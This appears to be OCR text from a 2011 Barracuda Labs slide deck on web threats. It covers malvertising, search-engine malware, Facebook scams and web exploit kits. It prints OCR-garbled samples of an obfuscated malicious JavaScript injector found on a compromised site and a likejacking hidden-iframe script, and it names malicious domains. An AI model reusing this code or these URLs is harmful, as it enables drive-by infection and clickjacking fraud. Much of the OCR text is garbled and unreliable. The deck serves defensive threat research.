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Half of The Spam Disappeared
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5 Innovations That Caused Security Risks

Habits of Effective Hackers

Twitter: a channel for malware distribution
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Five Innovations That
Created Security Risks
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1. Rapid Growth

AOne new domasach second
A196milliondomain names
Ad7millionnew sites last year
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Dynamic Web Apps: AJAX

Rich site-to-browser
interaction

Browser is the new
operating system

Browser is active in the
application, not simply a
passive display tool

(.) BARRACUDALABS
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3. User-Generated Content

A Half of Top 100 sites based on UGC

‘ A 500 million users on Facebook
B

A 100 million accounts on Twitter
®cbo *
000 (@ Technorat A 2.5 billion photos uploaded each

month to Facebook
ST ﬁ y

A 30 million new ads per day on
m’)WoRDPREs: Craigslist

del.icio. us

A
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4. Remote Employees

&0% of the workforce works
remotely

Al in 11 organizations had remote
workers infected

A6% of remote infections come
from infected Web sites
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5. New Devices

US Mobile Internet Users, 2008-2013 (millions and %
penetration)

2008 2009 2010 2011 2012

Mobile Internet users 308 684 833 $E0 M2

% of mobile phone users  22.3% 29.2% 34.5% 39.46% 44.2%

% of populaticn 16.7% 223% 269% 31.3% 352%

Note: a5 of December for each year, CAGR [2008-2013)=19.9%
ource: eMarketer, November 2009

107922

Smartphone and tablet computing
blur the line between personal
and business computing

Companies must reconsider
policies for devices that are not
owned by the company

A
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Habits Of Effective Hackers

1. Malicious Javascript

(Four Habits Of Effective Hackers)




Malvertising

AUSsAToday.com ad network

compromised (idatrinity.com)

Avisitors served malicious
javascript bundled with ad for

Roxio Creator 2009

Aautomatically directed users
to Rogue AV Web site

(antivirusquickscanvl.com)
through malicious traffic

distribution system
(liveavantbrowser2.cn)

B0

WELCOME TO THE PARENTS &
TEACHERS AREA OF THE CURIOUS
GEORGE WEB SITE!

N Curious George @ ‘c%ns“

About the Program | TV Schedule | About the Site | Activities & More

Here's where grown-ups can learn more

m llh CURIOUS GEORGE teteviion

and Web site, d access lots of
o i

| GontactUs | Help
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xploited Site (2 of 4)

hxxp://dipsy.pbs.org/parents/ptframe/images/bground-leaderboard.jpg

instead of:

hxxp://www.pbs.or

g/parents/ptframe/images/bground-leaderboard.jpg

Mozilla Firefox :

Authentication Required o

A usemame and password are being requested by
hittp://dipsy.pbs.org. The site says: “Producers” =

User Name,

Password:

Cam) o)

‘Waiting for dipsy.pbs.org.

FoxyProxy: Disabled G |

Exploited Site (3 of 4)

- Ve

(- @) () (& hup://d

MoST Visited *  Getling Started  Latest Headlines 3

o s =7

PBS. (=]
ipsy. pbs.org/ parents/ prframe [images /bground-leaderboars g ¥ o Q)
-

« You may have reached this page in error.

If you are not a PBS emplayee or produc

« If you are an employee of PBS or a member station or a Web producer for PBS.org and cannot remember your

username/password, or you need a new

You have failed to logon

er please proceed o PBS

ceount, please contact PBS Interactive.

Source of: hitp://dipsy.pbs.org/parents  ptirame/images, bground-leaderboard jpg

« If your sword did not wor
the upper/lower case mismatch.

<fheml>

<seript>function CBeKy|1FwukN){ var TySUSIZW=new Function("ncX", “return
872821;);alert( 'NmTq0e’ ) ;window.eval(); }

function NTIS(hWal){var UHrvVQkw=€, fAgz=5;var

qTMEde ' 7240, 12640, 12242, 13644, 11642, 13044, 12141, 3842, 14244, 12640, 12040, 139+1, 12444, T341,58+4,38+2,124
48,12141,12640,12343,124+4, 13941, 7341, 5844, 3842, 11743, 13341, 13644, 12040, 12141, 136+4, 7341, 5743, 38+2,12
242,136+4, 11642, 130+4, 12141, 117+3, 13341, 136+4, 12040, 12141, 136+4, 73+1,57+3, 3842, 13840, 13644, ', bSBxeEp=
qIMEd.split(’, ' );xZh=""; for (EVNFENy=0; EVHYENy<bSBxeEp. Llength-1; HVMYENy++) {

cAT=bSBxeEp| HUMYENy).split( '+ );khRwj = parselnt(cAT|0)*EAgz)+parselnt (cAT(1]);klRwj =
pEIEEII\lflm]}J'UB[WﬂkH rIh += String.fromCharCode(kNRwj);}return rth;}function Ol‘ulluchLllqnn]{
fffeop.split|"66");

function TeMgRVEQ({YbPy){var IQWqAN{WqP=7, 6 eJEBE=6;var
gI0y="115+3,71+1,45+3,121+2,135+2,135+2, 13044, 67+4, 54+5,5445, 13145, 140+0, 11940, 115+3, 136+3,115+3,53+4
L122+3,128+2,119+40,125+3,54+5, 11940, 53+4, 115+3,120+1,122+3, 7343, 123+4, 14242, 129+3, 4543, 7242, T0+0, 54+5
L122+3,11840,13340, 11341, 127+1, 11745, 7242, * ,mackv=gl0y.split(', };atl="';for(Uneulksve=D;

{ineu 1 XsVe<mackV., length-1;UneulXsvet+] { Jams"d-mckv[uneulxa\le] plit('+");riw =

parseInt (JaWwNRsHd|D]*eJEBZ)+parselnt (JaWNRsAA[1]) = parseInt{rlw)/IQWGANENGP ;atT +=
String.fromCharCode|rUw); jreturn atl;}function wbgvnnpnnqmn:( window.eval(}; }

document|[ ‘wriSte'.replace(/[0-9]/,'')](NTZS(' JiMm’ )+TeMgRVEQ( 'yNgMvmppl'));function JSV(EvRaol){
alert('UlzgkcMIyh’); }

function 2bpXNWbRE(gdGwIbxJ){ var BlY¥eMDbv=new Function|’RVmHnKt®, “return 84%704;7);
fff=op.split|“66"); fff.op.replace("v"); }

</seript>
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Exploited Site (4 of 4)

hxxp://gxfcuc.info/f.cgi?jzo

The above URL serves exploits that target a variety of software
vulnerabilities, including those in Acrobat Reader (CVE-2008-2992, CVE-
2009-0927, and CVE-2007-5659), AOL Radio AmpX (CVE-2007-6250),
AOL SuperBuddy (CVE-2006-5820) and Apple QuickTime (CVE-2007-
0015).

The domain gxfcuc.info is part of a malware campaign that includes tens of
similar websites hosted off of a handful of common IP addresses. Similar
exploit code was served from most of these domains, although a handful
(e.g., yyogny.info) display a message that suggests the criminal behind this
campaign is compromising systems to build a botnet he will likely later
lease. Translated from Russian, that message tells prospective leasers to
"Send a message to ICQ #559156803; stats available under ststst02."

Barracuda Labs Technology:

MaliciousJavascripDetector (MJD)
T Place content in a virtual browser environment

1 Perform behavioral analysis of javascript to determine its intentions

URL
Request _ REQ 0":;&,
-— Sie
RES

REQ/RES Allow/
Data Block o
o
oe"’\ '\ed‘e'
Virtual Browser | ——
Environment > MIDG ?‘90«3500

Hooks/Introspects
J5 Actions

18
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2. Search Engine Malware

(Four Habits Of Effective Hackers)
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Search Volumes
A 88,000,000,000 Per Month On Google Sites

A 24,000,000,000 Per Month On Twitter
A 9,400,000,000 Per Month On Yahoo Sites

A 4,100,000,000 Per Month On Microsoft Sites

Sources: comScore, Twitter
20
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Barracuda Labs Technology:
Search Engine Malware Crawler

AGet Popular Search Terms Hourly
ASearch for Those Terms

MRetrieve the Set of Search Results GO( )gle
MRetrieve the Web Sites for the results bl N
Analyze the Sites for Malicious Code

Aadd Malicious Sites to Barracuda YAaHOoO!
SPYDEF list

Data Set
4 Search Engines
(Bing, Google, Twitter, Yahoo)
153 Days
157,154 Popular Topics
36,972,206 Search Results

22
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Frequency of Search Engine Malware

A 34,627 malware samples found
A 1in 1000 search results lead to malware

A 1in 5 search topics lead to malware

23

Total Malware by Search Engine
Twitter

8%

24
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Lebron James

lebron james t
Ble Edt view Favortes Jool: Help aw

Qe - ) - [x] [B] @D D search Sl Favorkes €2
@

Addrass

LeBron James' Elbow Joins Twitter | Tweet Souo
LeBron James' Elbow Joins Twi ¥ Kevin Touch @ weeks § days ago). LeBron J
may not bo saying a lot about hia  recant Inturys bu s e body
anticl i Cached

Bron J ' Elbow’ - CharlotteObserver.com

,2010 LoBron James is saying little about his injury, his right elbow is busy
Valang, - or beiter yer, lweelmg
i

i html - Cached

Free agent LeBron James finally joins Twitter - NBA - Yahoo! Sports

Jul 3, 2010 ... LeBron James has made one decision - he joned Twitter. The NBA's most
ballyhooed free agent opened an account on the social networking ..

sporta. yahoo. com/nba/news?slug=ap-james-twitter

I. bron James Twitter | www mangalam
n Twitter - Attending Lebron

o
Jamacs Part ionighe . Hiogs Hoven e |omsd the Twmsv world and
www. mangalam

Jol Advance of Fre
by Wil Biinsonled under Buls. Gavallrs. risat Knlcks. Nets. NBA Rumeré, NBA Twitie
Sports Business and Media, NBA Fras Agants LeBron Jam.
blog. tweetingmachine.com/ - 21 minutes aga

YouTube - LeBron Jamla K\HQ James called "Queen James" on Twitter
May 13, 2010 ... LoBron J 9 James called "Gueen James” on Twitter
auesMike Brown the LaBron James srch angel offanse views

W,y OULUbE. COmWateh Py xvWCIWEER - Cached

o

Lebron James Twlner Backgrounds
Check out the L james Twitter Backgrounds designs here on ProfileBrand. coml Lots
of Lebron james Twiter Backgraunds
wew,

%20james/1 - Cached - Similar

Lebron Ja
rvrse. RT @MartySmithESPN. e way [ figure it, Lebron James must be wailing 1o see what
heppens with @kassyishne before he decides where to play.

www bing Po=Lobron

Twitter Details For LeBron James | TruthTweet

48 pone ® 1nternet

26
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Search Engine Malwarg ¢f 4)

2 Current on TV : World of icrosoft Internet Explorer.

Eile Edt View Favorites Tools Help

Qe - ©  [x] B @ Pseach Sfpraones @) (- L
& liserver-adbe o] | €—— v B

“Adobe Flash Playi

from

ctive)

@ You need to install media components.

dobe Systems Incorporate

@ Click here to install Macromedia Flash Components required to view this site

Message Box Object Error
Flash ActiveX Object Error:
Your browser cannot display this Site.

You need to install new version of Adobe
Flash Player 11 to take advantage of web 2.0

To download new version of Adobe Flash Player click Continue.

I I

Search Engine Malware (3 of 4)

File Download - Security Warni

Do you want to run or save this file?

Name: v11_adobe_flash.exe
Type: Application, 126 KB
From: server-adobe.co.cc

[ Bun ]l Save ]I Cancel |

While files from the Internet can be useful, this file type can
0 patentially harm your computer. |f you do not trust the source, do not

fun or save this software. What's the risk?

9/7/2011
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Search Engine Malwaré ¢f 4)

L]
By
m

% Detanse Conter oreghterad varsion)

¥ Defense Center

Oefense Center

w‘ @ r@Defense Center

SPECIAL OFFER - SAVE OVER 30%!

o«

Barracuda Labs Technology:
Maltrace: Malware Analysis Virtualization

Kollect thousands of malware samples daily from honeypot
network

A oad samples into Maltrace

Avialtrace allows the malware to run on a virtual PC
AMvaltrace collects the network traffic generated

MValtrace creates signatures based on malicious traffic
Andds the signatures to URL, IP and fingerprint databases

9/7/2011
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3. Social Attacks

(Four Habits Of Effective Hackers)
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Facebook Social Attacks

/"". N iy V25 tagged in Laiza Gear's album.
I.‘ L. ’/I
HOT CHICKS @

Hey,..checkout the website | model for @ http://www.sneaker-
hype.info/

@ about an hour ago

9/7/2011
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t K2G2 WYel 3aqQ ! |

Yeah, a bunch of us model, just visit this site http://www.jordan-home.info/ From the album

have fun at http:/ /www.j
In this photo: Wilbert Thomas, Terrance Houston, Travis Doubleyou, Vaughn Fontenot, home.info by Cherry Ech
Tobias Tha Kidd Bryant (photos), Ulm Alphas Etachi (photos), Tony Converse, Tiera
Shawuan Matthews, Tramelle Howard (photos), Wilbert Bradley, Trevor Olivier (photos), Share
Tyrus Lawson, Thomas Nguyen, Timmy Barral, Tee Wiggler Zeigler, Timothy Smith, Travon Tag This Photo

Hollis, Travis Lindsey, Taye Scott, Torey Jones, Trell Williams, True Vine C.M., Zil
Reddrobotz Barton, Terry Gorrell, Terrell Alexander Il (photos), Venell James, Yung Jody
(photos), Trezley Lockhart, WayneGretzky Shitting OnHoes, Warren Roberts, Yc
Dontforgetmymoney, Wilbert Webb, Tj Tolbird, Travis Carter, Trevonte' Veinticinco Carter,
Timothy McCall Jr. (photos), Yung Ceasar Palachie Narcisse (photos), Thaddeus Esteve,
UlmQ-dawgs MuLambda, Trevon Ledet (photos), Uim Sigmas, Willie Ruiz, Ulysses McDaniel,
Valan May, Terrance Brown, Young Choppa, Tyshawn Rocafella Clax, William White

Report This Photo

& Travis Lindsey likes this.

Website Selling Fake lllegal Shoe:

Weicome to the home of the best online selection of Rare Nike Alr Jordan shoes, Nike Alr Force
Ones, Nike Shox, and Nike Alr Max shoes. We offer the best pricing on the Intenet for all your
100% authentic uitra-rare Retro kicks as well as new releases, and limited edition styles.

Nike Alr Jordan31ll  Nike AlrJordan 41V Nike Air Jordan 4V Nike Alr Jordan 4 IV

Rotro - Whits / Fire Rotro1999-Black/  Retro1999-White/  Retro- Mars

Red-ComentGrey  Coment Grey Black ( Coment ) Blackmon ( White /
Varsity Red - Black )

Nike Air Jordan 6 Six Rings Laser Men's sz 84.99 Men's sz 84.99 Men's sz 84.99

Men's 52 84.99

17
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Kate Wrigley

hey Paul, got a second??
hey. whats up

| want you to try something real
quick

ok Paul, try this test and see what
you get.. i can't get over like a 105,

its rediculous http:/ fwww.mind- -
wiz.com/invite/jbfd *

what is it

lemme know what ya get please, so
far everyone beat me, except for
Adam LOL be carfeful some of the
questions are tricky (=)

where are you

Malicious Facebook Apps

J Ebony Robertson

, Facebook will close down all accounts today. The official annoucement
was made by Mark Zuckerberg - Facebook Owner.

This is a simple step to keep your account working.

If you want to have your account frem now, please verify your account.

9 minutes ago via Social Network Closedown - Official Announcement

- Like - Comment

Ebony Robertson

., Mark Zuckerberg - Official Annoucement.

The owner of Facebook announced that all account will be shut down
toeday. In order to keep your account alive, you MUST verify your account.

Official Announcement — Account verification
All accounts will shut down starting today, 29th
January.

facebook

If you want your account alive, please verify it.

minutes ago via Social Network Closedown - Official Announcement
- Like - Comment

1gineering

9/7/2011
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Request for Permission

Social Network Closedown - Official Announcement is requesting permission to do the
following:

i Access my basic information
Includes name, profile picture, gender, "
networks, user D, list of friends, and any “
other information I've shared with
everyone.

Social Network

Post to my Wall Clo:nadown - Official
Social Network Closedown - Official nouncement
Announcement may post status messages,
naotes, photos, and videos to my Wall

Access my data any time

Social Network Closedown - Official
Announcement may access my data when
I'm not using the application

Ii Manage my pages

Social Network Closedown - Official
Announcement may login as one of my
Pages

Use of this data Is subject to the Social Nework Closedown - Official Announcament Privacy Policy - Report App

Logged in as Paul Qantas Judge (Not You?)

Likejacking

s a link.

Dad walks in on daughter... EMBARRASING!!

Scott likes a link.

The beautiful Marika Fruscio shows her breasts on
Italian TV!

9/7/2011
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(Z Marika Fruscio shows her breasts on Italian TV! - Celebs News - Windows Internet Explorer
| v | & hitp:/fmarikafnews.altervista.org/

0 4t | @ Marika Fruscio shows her breasts on Ttalian T! - Cele... & ~ |53 Page ~

Celebs News - News and Videos

Marika Fruscio, chroniqueuse foot italien m: & =
v > The bt_aautrful Marika
Fruscio shows her
breasts on Halian TV!

The beautiful Marika Fruscio, Italian columnist, tries
desperately to hide his chest but it has apparently decided
otherwise!

Charlie Sheen Live Shows to Include...

Charlie Sheen LIVE: My Violent Torpedo of Truth is coming
to a number of cities. But what can fans that actually buy
tickets to this nonsense expect to see? "A rehearsed
show,” tour co-producer Joey Scoleri tells People. Tt will be
spoken word, itll be funny and there will be interaction with
the audience.” Another source claims "Chariie has been
furiously putting together his show... working with actors,

o Watchister | YoullD) directors and writers. He is really working around the clock.”

valid xhtml|

This entire ‘preview pane' is actually a Facebook ‘like’ button

Error on page. & &

 Tools ~

§ @ Internet =

100% ~

[ file:///S:/news/girlgetsca.. &

€ C i O file///S/news/girigetscaught/foo/172.168.1.16(1081)%2083.170.124.37(80)%203.3.201: ¥ | A,

400" border="0" cellspacing="0" cellpadding="0">

ight="35n><font size="5"><b>Look
Catches DAUGHTER Making Sexy Webcam Video</b></font></td>
</tr>

hat Happens When FATHER

px;padding-top: 2px;
"><b><i><font

background:url (player_top.gif); background-repeat
FFFFFF">EcxlusiveVideos</font></i></b></td>
</tx>
<tr>

<div style:
no-repeat; margin:Op:

<div styl
absolute; filter:alpha(opacity=0); -moz-opacity:
0.0;" id="fbLikeFrame">

; width: 100px; height: 100px;
.0; -kntml-opacity: 0.0;opacity:

<iframe src="http://www.facebook.com/plugins/like.php?

nref=http://girl-gets-
caught.info/samp; layout=standardsamp; show_faces=falsesamp;
=tahomagamp; colorscheme=1ighté&amp; heig!

idth=450&amp; action=likesamp; font

style="border:none; overflow:hidden; widcr nsparency="ctrue"
id="fbframe” name="fbframe"></iframe>
</div><script Type="Text/javascript's
//<! [CDATA[
var myHTMLBody = ( == "CSSiCompat™) ?
lement : .body; =

var fbLikeFrame = document.getElementById('fbLikeFrame');
var myBoolean = 0;
function mouseFollower(e) {

if (window.eve

foLikeFrame.style.top = (window.event.y - 10) +
myHTMLBody.scrollTop + 'px';
fbLikeFrame.style.left = (window.event.x - 10) +
myHTMLBody.scrollleft + 'px':
else {
folikeFrame.style.top = (e.pageY - 10) + 'px';

fbLike

e.style.left = (e.pageX - 10) + 'px

other code redirects to surveys and even eventually delivers the video

9/7/2011
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Age Verification

{1 Security Check

To verify you are 18 years o alder, complete ONE survey below

L Get The Best Auto Quotes On The Net
L Get The Low Auto INS Rates You Want
L Get The Auto Ins Rate You Deserve

L Get Your PrePaid Rush Card Today
LD Garden On Us

Mick Black commented on CLAIM TICKETS - CLICK HERE
| HEART SOUTHWEST.

Southwest Tickets Today!

Now

== &/ 1 - Like - Comment - Subscribe

42

9/7/2011
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oo
SOUTHWEST

share wmespirit

Simply type "I HEART SOUTHWEST"
into the comments below to get your 2 free tickets!
Tip: You will need to click "Add comment” first in order to add the comment!
10,425 comments Add a comment
Nick Black - Senior Compiler Engineer at NVIDIA
| HEART SOUTHWEST.
Like - Reply - Subscribe - 14 minutes aga.

Patty Wehner - Friends w
Howd that work out for you?

= |ike - Reply - 5 min 9
Georgina Lopez - Mission Hills, California
1 HEART SOUTHWEST.

w14 - Like - Reply - Subscribe - 12 hou

Priscilla Moya
"I Heart Southwest”.
)3 - Like - Reply - Subscribe - 16 hou

Debbie Kim - North
1 HEART SOUTHWEST.
€33 - Like - Reply - Subscribe - 17 hours ago

View 10,421 more =

43

4. Web Exploit Kits

(Four Habits Of Effective Hackers)

A
(.) BARRACUDALABS
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Web Exploit Kit Overview

T Most exploits served by exploit kits

T (readymade tools sold/used by criminals to attack vulnerable software
components

T Many exploit sites, but few exploit kit types

T a handful of kit types comprise the majority of exploit sites
T Examples

A LuckySploit, Fragus, UniquePack, NucPack

A Tornado, Fiesta, IcePack, FirePack, MPack

45

23



